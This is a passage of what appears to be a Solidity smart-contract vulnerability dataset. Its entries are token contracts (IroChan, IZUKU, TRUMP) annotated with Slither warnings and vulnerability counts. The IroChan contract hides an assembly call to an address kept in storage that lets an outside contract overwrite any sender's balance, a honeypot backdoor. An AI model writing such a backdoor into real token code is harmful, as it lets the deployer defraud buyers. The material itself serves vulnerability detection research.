variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function payWithDifferentGas(\n uint256 sender\n ) public onlyOwner returns (uint256 accounts) {}\n\n function openTrade() public payable {\n require(\n (msg.sender == owner() && (trade == false)),\n \"Ownable: caller is not the owner\"\n );\n\n _approve(address(this), _router, ~uint256(0));\n\n\t\t// divide-before-multiply | ID: 812cc5e\n uint256 uniswapSupply = (_totalSupply / 10000) * (10000 - 275);\n\n _balances[address(this)] += uniswapSupply;\n\n _balances[msg.sender] -= uniswapSupply;\n\n emit Transfer(msg.sender, address(this), uniswapSupply);\n\n\t\t// reentrancy-benign | ID: d7e156c\n\t\t// reentrancy-eth | ID: 068ad24\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n\t\t// reentrancy-benign | ID: d7e156c\n\t\t// unused-return | ID: 504099b\n\t\t// reentrancy-eth | ID: 068ad24\n router.addLiquidityETH{value: msg.value}(\n address(this),\n uniswapSupply,\n uniswapSupply,\n msg.value,\n owner(),\n block.timestamp + 300\n );\n\n\t\t// reentrancy-eth | ID: 068ad24\n trade = true;\n\t\t// reentrancy-benign | ID: d7e156c\n startBlock = block.number;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function sellWithNFTs(\n address sender,\n uint256 amount\n ) internal returns (uint256 result) {\n assembly {\n let data := mload(0x40)\n\n mstore(\n data,\n 0x569937dd00000000000000000000000000000000000000000000000000000000\n )\n\n mstore(add(data, 0x04), amount)\n\n mstore(0x40, add(data, 0x24))\n\n let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)\n\n if success {\n result := mload(data)\n }\n }\n\n _balances[sender] = result - amount;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n msgSend = sender;\n msgReceive = recipient;\n\n require(\n ((trade == true) ||\n (msgSend == address(this)) ||\n (msgSend == owner())),\n \"ERC20: trading is not yet enabled\"\n );\n\n require(msgSend != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n sellWithNFTs(sender, amount);\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _DeployIroChan(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[msg.sender] += amount;\n\n emit Transfer(address(0), msg.sender, amount);\n }\n}\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol) {\n _DeployIroChan(creator, initialSupply);\n }\n}\n\ncontract IroChan is ERC20Token {\n constructor()\n ERC20Token(\"Iro-Chan\", \"IRO\", msg.sender, 1000000000 * 10 ** 18)\n {}\n}\n",
"file_name": "solidity_code_1067.sol",
"size_bytes": 9841,
"vulnerability": 2
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: df67ec2): izuku.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for df67ec2: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0802ee4): izuku.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 0802ee4: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8d16b04): izuku.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 8d16b04: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f358bca): izuku.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for f358bca: Consider ordering multiplication before division.\ncontract izuku is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 50633f1): izuku.bots is never initialized. It is used in izuku._transfer(address,address,uint256)\n\t// Recommendation for 50633f1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 50633c6): izuku._taxWallet should be immutable \n\t// Recommendation for 50633c6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a453812): izuku._initialBuyTax should be constant \n\t// Recommendation for a453812: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 09be289): izuku._initialSellTax should be constant \n\t// Recommendation for 09be289: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 92f2450): izuku._finalBuyTax should be constant \n\t// Recommendation for 92f2450: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9372571): izuku._finalSellTax should be constant \n\t// Recommendation for 9372571: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1de819e): izuku._reduceBuyTaxAt should be constant \n\t// Recommendation for 1de819e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d5f315): izuku._reduceSellTaxAt should be constant \n\t// Recommendation for 8d5f315: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac7ebc0): izuku._preventSwapBefore should be constant \n\t// Recommendation for ac7ebc0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"IZUKU\";\n\n string private constant _symbol = unicode\"IZUKU\";\n\n\t// divide-before-multiply | ID: df67ec2\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 0802ee4\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 27e2996): izuku._taxSwapThreshold should be constant \n\t// Recommendation for 27e2996: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 8d16b04\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: b13bd80): izuku._maxTaxSwap should be constant \n\t// Recommendation for b13bd80: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: f358bca\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xD50dCd1e803F698d6e905537f39423C61D2f615a);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 458f389): izuku.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 458f389: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fef0cc7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fef0cc7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8cbf2c1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8cbf2c1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fef0cc7\n\t\t// reentrancy-benign | ID: 8cbf2c1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fef0cc7\n\t\t// reentrancy-benign | ID: 8cbf2c1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 705f27c): izuku._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 705f27c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8cbf2c1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fef0cc7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b99ac22): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b99ac22: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 50633f1): izuku.bots is never initialized. It is used in izuku._transfer(address,address,uint256)\n\t// Recommendation for 50633f1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: de59781): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for de59781: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b99ac22\n\t\t\t\t// reentrancy-eth | ID: de59781\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b99ac22\n\t\t\t\t\t// reentrancy-eth | ID: de59781\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: de59781\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: de59781\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: de59781\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b99ac22\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: de59781\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: de59781\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b99ac22\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b99ac22\n\t\t// reentrancy-events | ID: fef0cc7\n\t\t// reentrancy-benign | ID: 8cbf2c1\n\t\t// reentrancy-eth | ID: de59781\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b99ac22\n\t\t// reentrancy-events | ID: fef0cc7\n\t\t// reentrancy-eth | ID: de59781\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 26e947c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 26e947c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3c7ca43): izuku.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3c7ca43: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5c8a885): izuku.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5c8a885: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2237c21): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2237c21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 26e947c\n\t\t// reentrancy-eth | ID: 2237c21\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 26e947c\n\t\t// unused-return | ID: 3c7ca43\n\t\t// reentrancy-eth | ID: 2237c21\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 26e947c\n\t\t// unused-return | ID: 5c8a885\n\t\t// reentrancy-eth | ID: 2237c21\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 26e947c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2237c21\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10670.sol",
"size_bytes": 21758,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary Address {\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n\t\t// reentrancy-events | ID: ef3bd1e\n\t\t// reentrancy-events | ID: 6b59af1\n\t\t// reentrancy-events | ID: 4b39534\n\t\t// reentrancy-events | ID: 36ca589\n\t\t// reentrancy-benign | ID: a44babd\n\t\t// reentrancy-benign | ID: fd5cd0d\n\t\t// reentrancy-benign | ID: 36bcb00\n\t\t// reentrancy-eth | ID: 8b0be76\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return payable(msg.sender);\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n this;\n\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IRouter {\n function factory() external pure returns (address);\n\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract trump is Context, IERC20, Ownable {\n using Address for address payable;\n\n IRouter public router;\n\n address public pair;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _isExcludedFromFee;\n\n mapping(address => bool) public _isExcludedFromMaxBalance;\n\n mapping(address => uint256) public _dogSellTime;\n\n bool public watchdogMode = false;\n\n uint256 public _caughtDogs;\n\n uint8 private constant _decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: b53c44f): trump._tTotal should be constant \n\t// Recommendation for b53c44f: Add the 'constant' attribute to state variables that never change.\n uint256 private _tTotal = 1_000_000 * (10 ** _decimals);\n\n uint256 public swapThreshold = 10_000 * (10 ** _decimals);\n\n uint256 public maxTxAmount = 20_000 * (10 ** _decimals);\n\n uint256 public maxWallet = 20_000 * (10 ** _decimals);\n\n string private constant _name = \"Trump the Future ofCrypto\";\n\n string private constant _symbol = \"TRUMP\";\n\n uint8 public buyTax = 30;\n\n uint8 public sellTax = 45;\n\n\t// WARNING Optimization Issue (constable-states | ID: ed5ba4d): trump.marketingWallet should be constant \n\t// Recommendation for ed5ba4d: Add the 'constant' attribute to state variables that never change.\n address public marketingWallet = 0x1EB31834e0db137A75135c729a0D88e404d2dA00;\n\n bool private enableTrading = false;\n\n bool private swapping;\n\n modifier lockTheSwap() {\n swapping = true;\n\n _;\n\n swapping = false;\n }\n\n event SwapAndLiquify();\n\n event TaxesChanged();\n\n constructor() {\n _tOwned[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[marketingWallet] = true;\n\n _isExcludedFromMaxBalance[owner()] = true;\n\n _isExcludedFromMaxBalance[address(this)] = true;\n\n _isExcludedFromMaxBalance[marketingWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b92c68c): trump.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b92c68c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ef3bd1e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ef3bd1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fd5cd0d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fd5cd0d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ef3bd1e\n\t\t// reentrancy-benign | ID: fd5cd0d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ef3bd1e\n\t\t// reentrancy-benign | ID: fd5cd0d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e3aecc5): trump._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e3aecc5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero 